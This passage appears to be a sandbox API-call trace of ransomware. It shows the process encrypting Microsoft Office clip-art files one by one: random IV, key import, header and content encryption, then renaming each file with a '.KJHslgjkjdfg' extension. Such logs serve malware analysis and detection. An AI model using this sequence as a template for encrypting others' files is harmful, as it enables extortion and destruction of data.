lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0194.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.098] GetProcessHeap () returned 0x990000 [0194.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.098] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.098] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.098] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.098] GetProcessHeap () returned 0x990000 [0194.098] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.098] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.098] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.098] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.100] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.100] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.101] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.101] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.101] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0194.102] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ba0) returned 1 [0194.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.102] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ba0, lpOverlapped=0x0) returned 1 [0194.102] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.102] SetEndOfFile (hFile=0x130) returned 1 [0194.104] GetProcessHeap () returned 0x990000 [0194.104] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.104] GetProcessHeap () returned 0x990000 [0194.104] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.kjhslgjkjdfg")) returned 1 [0194.105] CloseHandle (hObject=0x130) returned 1 [0194.105] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0194.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.107] GetProcessHeap () returned 0x990000 [0194.107] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.107] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.107] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.107] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.109] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.109] GetProcessHeap () returned 0x990000 [0194.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.109] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.109] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.109] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.109] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.109] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.110] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x12c8, lpOverlapped=0x0) returned 1 [0194.110] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x12d0) returned 1 [0194.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.110] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x12d0, lpOverlapped=0x0) returned 1 [0194.111] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.111] SetEndOfFile (hFile=0x130) returned 1 [0194.113] GetProcessHeap () returned 0x990000 [0194.113] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.113] GetProcessHeap () returned 0x990000 [0194.113] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.113] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.kjhslgjkjdfg")) returned 1 [0194.114] CloseHandle (hObject=0x130) returned 1 [0194.114] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0194.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.115] GetProcessHeap () returned 0x990000 [0194.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.115] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.115] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.117] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.117] GetProcessHeap () returned 0x990000 [0194.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.117] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.117] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.117] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.117] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.117] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.117] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.118] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x121c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x121c, lpOverlapped=0x0) returned 1 [0194.118] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220, dwBufLen=0x1220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1220) returned 1 [0194.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.118] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1220, lpOverlapped=0x0) returned 1 [0194.119] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.119] SetEndOfFile (hFile=0x130) returned 1 [0194.121] GetProcessHeap () returned 0x990000 [0194.121] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.121] GetProcessHeap () returned 0x990000 [0194.121] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.kjhslgjkjdfg")) returned 1 [0194.122] CloseHandle (hObject=0x130) returned 1 [0194.122] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0194.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.122] GetProcessHeap () returned 0x990000 [0194.123] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.123] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.125] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.125] GetProcessHeap () returned 0x990000 [0194.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.125] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.125] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.125] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.125] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.125] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.125] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xed8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xed8, lpOverlapped=0x0) returned 1 [0194.126] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0, dwBufLen=0xee0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xee0) returned 1 [0194.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.126] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xee0, lpOverlapped=0x0) returned 1 [0194.126] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.126] SetEndOfFile (hFile=0x130) returned 1 [0194.128] GetProcessHeap () returned 0x990000 [0194.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.128] GetProcessHeap () returned 0x990000 [0194.128] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.128] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf.kjhslgjkjdfg")) returned 1 [0194.129] CloseHandle (hObject=0x130) returned 1 [0194.129] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0194.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.131] GetProcessHeap () returned 0x990000 [0194.131] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.131] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0194.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.134] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.134] GetProcessHeap () returned 0x990000 [0194.134] RtlAllocateHeap (HeapHandle=0x990000, 